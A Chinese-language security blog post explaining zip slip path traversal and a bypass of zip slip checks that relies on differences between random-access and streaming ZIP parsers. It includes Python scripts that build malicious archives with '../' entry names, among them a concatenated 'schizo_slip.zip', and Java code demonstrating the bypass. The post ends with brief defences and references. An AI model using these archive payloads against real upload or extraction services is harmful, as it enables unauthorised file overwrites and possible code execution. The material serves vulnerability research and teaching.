学习如何在某些情况下绕过 zip slip 漏洞检查

zip slip 基本原理

zip slip 漏洞也是路径穿越的一种,通过相关函数解压恶意的压缩文件来进行攻击,攻击者通过构造一个带有../的压缩文件,上传后交给相关函数进行解压,由于程序解压时没有对文件名进行合法校验,直接将文件名与目录进行拼接,导致文件被解压到原本解压路径之外的地方,可能覆盖其他文件或造成代码执行

生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile
import os
if __name__ == "__main__":
try:

zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件
info = zipfile.ZipInfo("poc.zip")
zipFile.write("/filezip/test/hi.txt","../hi/hello.txt",zipfile.ZIP_DEFLATED)##压缩的文件和在zip中显示的文件名

zipFile.close()
except IOError as e:
raise e

通过 java 复现该漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.tools.zip.ZipEntry;
import org.apache.tools.zip.ZipFile;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;

public class zipTest {
public static void main(String[] args)throws Exception {

String fileAddress = "poc.zip";
//zip文件解压路径
String unZipAddress = "/filezip/test/111/";
//去目录下寻找文件
File file = new File(fileAddress);
ZipFile zipFile = null;
try {
zipFile = new ZipFile(file,"GBK");//设置编码格式
} catch (IOException exception) {
exception.printStackTrace();
System.out.println("解压文件不存在!");
}
Enumeration e = zipFile.getEntries();

while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
System.out.println(zipEntry.getName());
File f = new File(unZipAddress + zipEntry.getName());
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = 0;
byte[] b = new byte[1024];
while((length=is.read(b, 0, 1024))!=-1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
if (zipFile != null) {
zipFile.close();
}
}
}

参考链接

绕过 zip slip 漏洞检查

安全研究员Paweł Hałdrzyński发现在某些情况下,可以利用验证是否存在 zip slip 漏洞的方法与解压缩方法之间的解析差异对其进行绕过

zip 文件格式简述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[ Local File Header A ]
[ File Data A ]
[ (Optional) Data Descriptor A ]

[ Local File Header B ]
[ File Data B ]
[ (Optional) Data Descriptor B ]

[ Local File Header C ]
[ File Data C ]
[ (Optional) Data Descriptor C ]

[ Central Directory Entry for A ]
[ Central Directory Entry for B ]
[ Central Directory Entry for C ]

[ End of Central Directory Record (EOCD) ]

zip文件格式简单来说可以分为三个部分数据存储区、中央目录区、中央目录结束记录(EOCD)

  • 数据存储区:包含本地文件头、文件数据、文件描述(可选)
    • 本地文件头(Local File Header)是 ZIP 文件格式中每个压缩文件条目开头的元数据块,用于描述紧随其后的压缩数据。它以固定签名50 4B 03 04(即 ASCII 字符 'PK\x03\x04')开头
偏移 字节数 字段名 说明
0 4 Local file header signature 固定值 0x04034b50(小端序)
4 2 Version needed to extract 解压所需最低版本(如 20 表示 2.0)
6 2 General purpose bit flag 通用标志位(如是否加密、是否使用数据描述符等)
8 2 Compression method 压缩方法(0=不压缩,8=DEFLATE,12=BZIP2 等)
10 2 File last modification time 最后修改时间(DOS 格式)
12 2 File last modification date 最后修改日期(DOS 格式)
14 4 CRC-32 未压缩数据的 CRC32 校验值
18 4 Compressed size 压缩后大小(若使用数据描述符,此处可能为 0)
22 4 Uncompressed size 未压缩时大小(同上)
26 2 File name length (n) 文件名长度
28 2 Extra field length (m) 额外字段长度
30 n File name 文件名(UTF-8 编码需通过标志位指示)
30+n m Extra field 额外字段(如 Unix 时间戳、Zip64 扩展等)
  • 中央目录:汇总了所有文件的元信息,便于快速查找和验证。每个文件在中央目录中有一条记录,以固定签名50 4B 01 02开头
    • 提供全局文件列表:列出 ZIP 中所有文件(包括目录)
    • 记录每个文件的关键元数据:如文件名、压缩方法、CRC、时间戳等
    • 定位本地文件头的位置:通过local_header_offset告诉解压器这个文件的数据在 ZIP 的哪个位置
    • 支持随机访问:无需扫描整个 ZIP,即可知道有哪些文件、是否需要解压某个文件
    • 冗余备份:即使 Local Header 损坏,只要 Central Directory 完好,仍可恢复文件(部分工具支持)
偏移 字节数 字段名 说明
0 4 Central directory file header signature 固定值:0x02014b50(小端序)
4 2 Version made by 创建 ZIP 的软件版本和主机系统
高字节 = 主机系统(0=MS-DOS, 3=Unix, 19=macOS 等)
低字节 = 版本号(如 20=2.0)
6 2 Version needed to extract 解压所需最低版本(如 20 表示 2.0)
8 2 General purpose bit flag 通用标志位(如是否加密、是否使用数据描述符等)
10 2 Compression method 压缩方法(0=不压缩,8=DEFLATE,12=BZIP2 等)
12 4 File last mod time/date 最后修改时间(MS-DOS 时间格式)
16 4 CRC-32 未压缩数据的 CRC32 校验值
20 4 Compressed size 压缩后大小(字节)
24 4 Uncompressed size 未压缩原始大小(字节)
28 2 File name length 文件名长度
30 2 Extra field length 额外字段长度
32 2 File comment length 文件注释长度(Local Header 没有此字段!)
34 2 Disk number start 文件数据起始磁盘编号(分卷 ZIP 使用,通常为 0)
36 2 Internal file attributes 内部属性(如文本/二进制标志,很少用)
38 4 External file attributes 外部文件属性(用于还原权限)
42 4 Relative offset of local header 本地文件头相对于 ZIP 开头的偏移量(关键!用于定位数据)
46 n File name 文件名
46+n m Extra field 额外字段(同 Local Header,如 ZIP64、时间戳等)
46+n+m k File comment 文件注释(可选,最多 65535 字节)
  • 中央目录结束记录(EOCD):标识中央目录的结束,并提供中央目录的位置和大小信息,是 ZIP 文件解析的入口点,以固定签名 50 4B 05 06(即 ASCII 字符'PK\x03\x04')开头
偏移 字节数 字段名 说明
0 4 End of central dir signature 0x06054b50(小端序)
4 2 Number of this disk 当前分卷号(通常为 0)
6 2 Disk where central dir starts 中央目录起始分卷(通常为 0)
8 2 Number of central dir records on this disk 本卷中央目录条目数
10 2 Total number of central dir records 总条目数
12 4 Size of central directory 中央目录总字节数
16 4 Offset of start of central directory 中央目录起始偏移
20 2 ZIP file comment length (n) ZIP 注释长度
22 n ZIP file comment ZIP 全局注释

解压缩的两种方式

一种是随机访问解压缩,在解压时,会从文件末尾向前搜索,通过50 4B 05 06定位到中央目录结束记录(EOCD),根据其中的信息定位到中央目录区,逐个解析中央目录50 4B 01 02,得到每个压缩文件的信息,然后根据本地文件头相对于 ZIP 开头的偏移量定位每个被压缩的文件,这种解压方式的好处是,可以根据元数据,单独对其中的某个文件进行解压
image-20260111192955363

还有一种解压缩方式是流式解压缩,从 zip 文件头开始,根据本地文件头(Local File Header)的元数据来解压文件,直到流结束或读取到中央目录签名处为止
image-20260111193220241

解析差异性导致漏洞

因为解压缩有两种方式,如果说在防范 zip slip 漏洞时,先调用check方法来检测是否存在漏洞,该方法通过随机解压缩的方式来读取压缩文件名,判读是否存在路径穿越符,如果判断无风险,则将 zip 文件传给unzip方法进行解压,而解压缩方法使用的是流式解压缩

利用两种解压缩方法的差异,修改中央目录,只记录安全文件的信息,这样检查时读取的文件名都是无风险的,而使用流失解压时,会将有风险的文件解压出来,因为解压方式差异照成漏洞

下面这个脚本生成的是只有流中带有危险文件的压缩包,脚本生成的压缩包格式如下,这样就造成随机解压方式得到的是安全文件,流式解压方式得到的是不安全文件

1
2
3
4
5
6
7
8
9
10
11
12
13
[ Local File Header A(unsafe file) ]
[ File Data A(unsafe file) ]
[ (Optional) Data Descriptor A(unsafe file) ]

[ Central Directory Entry for A (unsafe file)]

[ Local File Header B(safe file) ]
[ File Data B(safe file) ]
[ (Optional) Data Descriptor B(safe file) ]

[ Central Directory Entry for B(safe file) ]

[ End of Central Directory Record (EOCD)(指向 safe file 的中心目录) ]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import zipfile
import io
import struct

def create_zip(files):
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
for filename, content in files.items():
zf.writestr(filename, content)
return buffer.getvalue()

def fix_offsets(zip_bytes, offset_shift):
# Convert to mutable bytearray
data = bytearray(zip_bytes)

# Find all Central Directory Headers
# Signature: 0x02014b50
# Offset of local header is at bytes 42-46 (relative to start of CD header)

i = 0
while True:
# Search for PK\x01\x02
i = data.find(b'\x50\x4b\x01\x02', i)
if i == -1:
break

# Read current offset (4 bytes, little endian)
current_offset = struct.unpack('<I', data[i+42:i+46])[0]
# Update offset
new_offset = current_offset + offset_shift
data[i+42:i+46] = struct.pack('<I', new_offset)

i += 4 # Move forward to avoid finding same signature (though unlikely)

# Find End of Central Directory Record
# Signature: 0x06054b50
# Offset of start of CD is at bytes 16-20

# We search from the end because EOCD is usually at the end
i = data.rfind(b'\x50\x4b\x05\x06')
if i != -1:
current_cd_offset = struct.unpack('<I', data[i+16:i+20])[0]
new_cd_offset = current_cd_offset + offset_shift
data[i+16:i+20] = struct.pack('<I', new_cd_offset)
else:
print("Warning: EOCD not found")

return bytes(data)

def main():
# 1. Create Evil Zip (Zip Slip)
# This one will be at the BEGINNING.
# Streaming parsers (ZipInputStream) will see this first.
print("Generating Evil ZIP...")
evil_files = {
'../../../../../../../../../../tmp/pwned.txt': 'You have been PWNED via Zip Slip!'
}
evil_bytes = create_zip(evil_files)

# 2. Create Safe Zip
# This one will be appended at the END.
# Random access parsers (ZipFile) will see this because they read EOCD from end.
print("Generating Safe ZIP...")
safe_files = {
'safe.txt': 'This is safe content'
}
safe_bytes = create_zip(safe_files)

# 3. Fix offsets in Safe Zip
# The safe zip will be shifted by len(evil_bytes)
print(f"Adjusting offsets for Safe ZIP (shift by {len(evil_bytes)} bytes)...")
fixed_safe_bytes = fix_offsets(safe_bytes, len(evil_bytes))

# 4. Concatenate
final_bytes = evil_bytes + fixed_safe_bytes

filename = 'schizo_slip.zip'
with open(filename, 'wb') as f:
f.write(final_bytes)

print(f"Created {filename}")
print(f"Total size: {len(final_bytes)} bytes")
print("Structure: [Evil ZIP (hidden from ZipFile)] + [Safe ZIP (visible to ZipFile)]")

if __name__ == "__main__":
main()

可通过如下 java 代码进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.*;
import java.util.zip.*;

public class NotSoSafeController {
public static void main(String[] args) {

File zipFile = new File("schizo_slip.zip");
File outputDir = new File("/file/test");

try (ZipFile zip = new ZipFile(zipFile)) {
for (ZipEntry entry : java.util.Collections.list(zip.entries())) {
System.out.println("Checking file " + entry.getName() + " for path traversal");
zipSlipCheck(outputDir, entry); // Zip Slip check
}

// All entries validated; move on to unzipping
try (InputStream stream = new FileInputStream(zipFile)) {
UnsafeUnzip.unzip(stream, outputDir);
}

} catch (IOException e) {
System.err.println(e.getMessage());
}
}

public static File zipSlipCheck(File targetPath, ZipEntry zipEntry) throws IOException {
String name = zipEntry.getName();
File f = new File(targetPath, name);
String canonicalPath = f.getCanonicalPath();
if (!canonicalPath.startsWith(targetPath.getCanonicalPath() + File.separator)) {
throw new ZipException("Illegal name: " + name);
}
return f;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.*;
import java.util.zip.*;

public class UnsafeUnzip {
public static void unzip(InputStream inStream, File outputDir) throws IOException {
try (ZipInputStream zis = new ZipInputStream(inStream)) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
File outFile = new File(outputDir, entry.getName());

if (entry.isDirectory()) {
outFile.mkdirs();
continue;
}

File parent = outFile.getParentFile();
if (parent != null) {
parent.mkdirs();
}

try (FileOutputStream fos = new FileOutputStream(outFile)) {
byte[] buffer = new byte[8192];
int len;
while ((len = zis.read(buffer)) != -1) {
fos.write(buffer, 0, len);
}
}
}
}
}
}

防范措施

在解压缩时进行验证,或者检查与解压缩使用同一种方式

参考链接

Disguises Zip Past Path Traversal

Yet another ZIP trick

ZIP File Format Specification

ZIP文件结构解析


学习如何在某些情况下绕过 zip slip 漏洞检查
http://www.weijin.ink/2026/01/11/学习如何在某些情况下绕过-zip-slip-漏洞检查/
作者
未尽
发布于
2026年1月11日
许可协议